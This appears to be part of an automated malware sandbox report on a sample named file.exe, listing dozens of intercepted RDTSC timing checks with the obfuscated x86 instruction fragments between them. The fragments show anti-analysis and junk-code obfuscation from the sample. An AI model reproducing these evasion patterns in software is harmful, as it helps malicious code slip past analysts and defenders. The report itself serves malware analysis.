Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3981 second address: 5C3A21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 nop 0x00000007 mov edx, dword ptr [ebp+12461D0Ah] 0x0000000d push 00000004h 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FE4A91B79E8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 movzx edx, dx 0x0000002c call 00007FE4A91B79E9h 0x00000031 jmp 00007FE4A91B79F6h 0x00000036 push eax 0x00000037 pushad 0x00000038 pushad 0x00000039 jno 00007FE4A91B79E6h 0x0000003f jmp 00007FE4A91B79F1h 0x00000044 popad 0x00000045 push edx 0x00000046 jnc 00007FE4A91B79E6h 0x0000004c pop edx 0x0000004d popad 0x0000004e mov eax, dword ptr [esp+04h] 0x00000052 jmp 00007FE4A91B79F1h 0x00000057 mov eax, dword ptr [eax] 0x00000059 push edx 0x0000005a push edx 0x0000005b pushad 0x0000005c popad 0x0000005d pop edx 0x0000005e pop edx 0x0000005f mov dword ptr [esp+04h], eax 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3A21 second address: 5C3A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3A25 second address: 5C3A2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3C88 second address: 5C3C92 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE4A9009D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C87AB second address: 5C87E6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE4A91B79F6h 0x00000008 jmp 00007FE4A91B79EEh 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jnp 00007FE4A91B7A09h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FE4A91B79F9h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE86C second address: 4DE870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE870 second address: 4DE87A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE4A91B79E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE87A second address: 4DE880 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7036A second address: 4A703AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ax, 7EABh 0x0000000f pushfd 0x00000010 jmp 00007FE4A91B79F0h 0x00000015 or ax, F438h 0x0000001a jmp 00007FE4A91B79EBh 0x0000001f popfd 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 mov ax, 4B81h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A703AB second address: 4A703AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A703F0 second address: 4A703F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A703F4 second address: 4A70411 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70411 second address: 4A70416 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0930 second address: 4AA0934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0934 second address: 4AA0951 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0951 second address: 4AA0975 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE4A9009D0Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0975 second address: 4AA09B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE4A91B79F6h 0x0000000f mov ebp, esp 0x00000011 jmp 00007FE4A91B79F0h 0x00000016 xchg eax, ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA09B4 second address: 4AA09B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA09B8 second address: 4AA09BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA09BE second address: 4AA09C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA09C4 second address: 4AA09C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA09C8 second address: 4AA0A47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov ecx, edx 0x0000000f pushad 0x00000010 call 00007FE4A9009D13h 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007FE4A9009D19h 0x0000001c sub ch, 00000046h 0x0000001f jmp 00007FE4A9009D11h 0x00000024 popfd 0x00000025 popad 0x00000026 popad 0x00000027 xchg eax, ecx 0x00000028 jmp 00007FE4A9009D0Eh 0x0000002d xchg eax, esi 0x0000002e pushad 0x0000002f mov cx, 133Dh 0x00000033 mov edx, eax 0x00000035 popad 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a pushad 0x0000003b popad 0x0000003c push ecx 0x0000003d pop edx 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0A47 second address: 4AA0A4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0A4D second address: 4AA0A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0A51 second address: 4AA0A65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov di, si 0x0000000f mov cx, 89D5h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0A65 second address: 4AA0A96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE4A9009D11h 0x00000008 pop ecx 0x00000009 mov si, bx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f lea eax, dword ptr [ebp-04h] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 call 00007FE4A9009D0Fh 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0AFD second address: 4AA0B03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0B03 second address: 4AA0B58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [ebp-04h], 00000000h 0x0000000f jmp 00007FE4A9009D16h 0x00000014 mov esi, eax 0x00000016 jmp 00007FE4A9009D10h 0x0000001b je 00007FE4A9009D49h 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov ax, dx 0x00000027 mov si, bx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0B58 second address: 4AA0B6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE4A91B79F1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0B99 second address: 4AA0B9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0B9F second address: 4AA0BE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE4A91B79EFh 0x00000008 mov si, C09Fh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop esi 0x00000010 jmp 00007FE4A91B79F2h 0x00000015 leave 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FE4A91B79F7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0BE5 second address: 4A902BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov edx, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0004h 0x0000000e nop 0x0000000f cmp eax, 00000000h 0x00000012 setne al 0x00000015 xor ebx, ebx 0x00000017 test al, 01h 0x00000019 jne 00007FE4A9009D07h 0x0000001b xor eax, eax 0x0000001d sub esp, 08h 0x00000020 mov dword ptr [esp], 00000000h 0x00000027 mov dword ptr [esp+04h], 00000000h 0x0000002f call 00007FE4AD7933CCh 0x00000034 mov edi, edi 0x00000036 pushad 0x00000037 jmp 00007FE4A9009D14h 0x0000003c mov ah, 67h 0x0000003e popad 0x0000003f push esp 0x00000040 jmp 00007FE4A9009D0Ah 0x00000045 mov dword ptr [esp], ebp 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b push edi 0x0000004c pop ecx 0x0000004d movsx ebx, si 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A902BA second address: 4A902C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A902C0 second address: 4A9031B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FE4A9009D0Fh 0x00000011 and eax, 54E3899Eh 0x00000017 jmp 00007FE4A9009D19h 0x0000001c popfd 0x0000001d mov ecx, 3F93E167h 0x00000022 popad 0x00000023 push FFFFFFFEh 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FE4A9009D14h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9031B second address: 4A9032A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9032A second address: 4A9039E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 6B0DAC09h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FE4A9009D0Dh 0x00000015 sbb esi, 29959296h 0x0000001b jmp 00007FE4A9009D11h 0x00000020 popfd 0x00000021 mov cx, EB07h 0x00000025 popad 0x00000026 xor dword ptr [esp], 1D973241h 0x0000002d jmp 00007FE4A9009D0Ah 0x00000032 call 00007FE4A9009D09h 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a mov edx, 2BC520D0h 0x0000003f movsx edi, ax 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9039E second address: 4A903E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE4A91B79F1h 0x00000009 add ch, 00000056h 0x0000000c jmp 00007FE4A91B79F1h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 pushad 0x00000017 call 00007FE4A91B79EAh 0x0000001c pop edx 0x0000001d mov bh, cl 0x0000001f popad 0x00000020 mov eax, dword ptr [esp+04h] 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov di, 0EA8h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A903E8 second address: 4A903ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A903ED second address: 4A903F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A903F3 second address: 4A9044A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b movsx edx, ax 0x0000000e pushfd 0x0000000f jmp 00007FE4A9009D0Ch 0x00000014 sub eax, 122A0108h 0x0000001a jmp 00007FE4A9009D0Bh 0x0000001f popfd 0x00000020 popad 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FE4A9009D0Eh 0x0000002e xor esi, 5ADAA368h 0x00000034 jmp 00007FE4A9009D0Bh 0x00000039 popfd 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9044A second address: 4A90470 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov ebx, 60C76AD6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f call 00007FE4A91B79F3h 0x00000014 pop edi 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90470 second address: 4A904C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 1052D737h 0x00000009 popad 0x0000000a popad 0x0000000b mov eax, dword ptr fs:[00000000h] 0x00000011 jmp 00007FE4A9009D0Ah 0x00000016 nop 0x00000017 pushad 0x00000018 mov edx, ecx 0x0000001a pushfd 0x0000001b jmp 00007FE4A9009D0Ah 0x00000020 sbb esi, 2DCBBB58h 0x00000026 jmp 00007FE4A9009D0Bh 0x0000002b popfd 0x0000002c popad 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FE4A9009D14h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A904C4 second address: 4A904CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A904CA second address: 4A904CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A904CE second address: 4A904E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cx, 5F01h 0x00000010 movzx ecx, dx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A904E2 second address: 4A90513 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 18h 0x0000000b jmp 00007FE4A9009D0Eh 0x00000010 xchg eax, ebx 0x00000011 jmp 00007FE4A9009D10h 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90513 second address: 4A90519 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90519 second address: 4A90544 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE4A9009D15h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90544 second address: 4A90549 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90549 second address: 4A90562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, 9C20h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE4A9009D0Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90562 second address: 4A90568 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90568 second address: 4A9056C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9056C second address: 4A90583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE4A91B79EAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90583 second address: 4A905DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007FE4A9009D16h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 pop ebx 0x00000015 pushfd 0x00000016 jmp 00007FE4A9009D18h 0x0000001b add ax, 4E58h 0x00000020 jmp 00007FE4A9009D0Bh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A905DA second address: 4A905E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A905E0 second address: 4A905E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A905E4 second address: 4A905E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A905E8 second address: 4A905F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e mov edi, eax 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A905F9 second address: 4A905FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A905FF second address: 4A9063A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [769B4538h] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007FE4A9009D15h 0x00000016 adc al, 00000056h 0x00000019 jmp 00007FE4A9009D11h 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9063A second address: 4A90675 instructions: 0x00000000 rdtsc 0x00000002 mov dx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007FE4A91B79ECh 0x0000000c jmp 00007FE4A91B79F2h 0x00000011 pop eax 0x00000012 popad 0x00000013 xor dword ptr [ebp-08h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 call 00007FE4A91B79EAh 0x0000001e pop ecx 0x0000001f mov bh, 4Eh 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90675 second address: 4A9074F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE4A9009D13h 0x00000008 pushfd 0x00000009 jmp 00007FE4A9009D18h 0x0000000e or si, 4968h 0x00000013 jmp 00007FE4A9009D0Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xor eax, ebp 0x0000001e pushad 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FE4A9009D0Bh 0x00000026 sbb cx, 54AEh 0x0000002b jmp 00007FE4A9009D19h 0x00000030 popfd 0x00000031 push ecx 0x00000032 pop edx 0x00000033 popad 0x00000034 call 00007FE4A9009D0Ch 0x00000039 pop edx 0x0000003a popad 0x0000003b nop 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007FE4A9009D0Ah 0x00000043 and cl, 00000058h 0x00000046 jmp 00007FE4A9009D0Bh 0x0000004b popfd 0x0000004c pushfd 0x0000004d jmp 00007FE4A9009D18h 0x00000052 adc cx, EBB8h 0x00000057 jmp 00007FE4A9009D0Bh 0x0000005c popfd 0x0000005d popad 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007FE4A9009D0Bh 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9074F second address: 4A90755 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90755 second address: 4A90787 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE4A9009D17h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90787 second address: 4A907FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 pushfd 0x00000007 jmp 00007FE4A91B79F0h 0x0000000c or ax, 2AD8h 0x00000011 jmp 00007FE4A91B79EBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a lea eax, dword ptr [ebp-10h] 0x0000001d jmp 00007FE4A91B79F6h 0x00000022 mov dword ptr fs:[00000000h], eax 0x00000028 jmp 00007FE4A91B79F0h 0x0000002d mov dword ptr [ebp-18h], esp 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FE4A91B79F7h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A907FD second address: 4A90825 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000018h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90825 second address: 4A9082C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dh, BDh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9082C second address: 4A9084C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, bh 0x00000005 mov ecx, 1B35C479h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ecx, dword ptr [eax+00000FDCh] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE4A9009D0Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9084C second address: 4A90852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90852 second address: 4A90856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
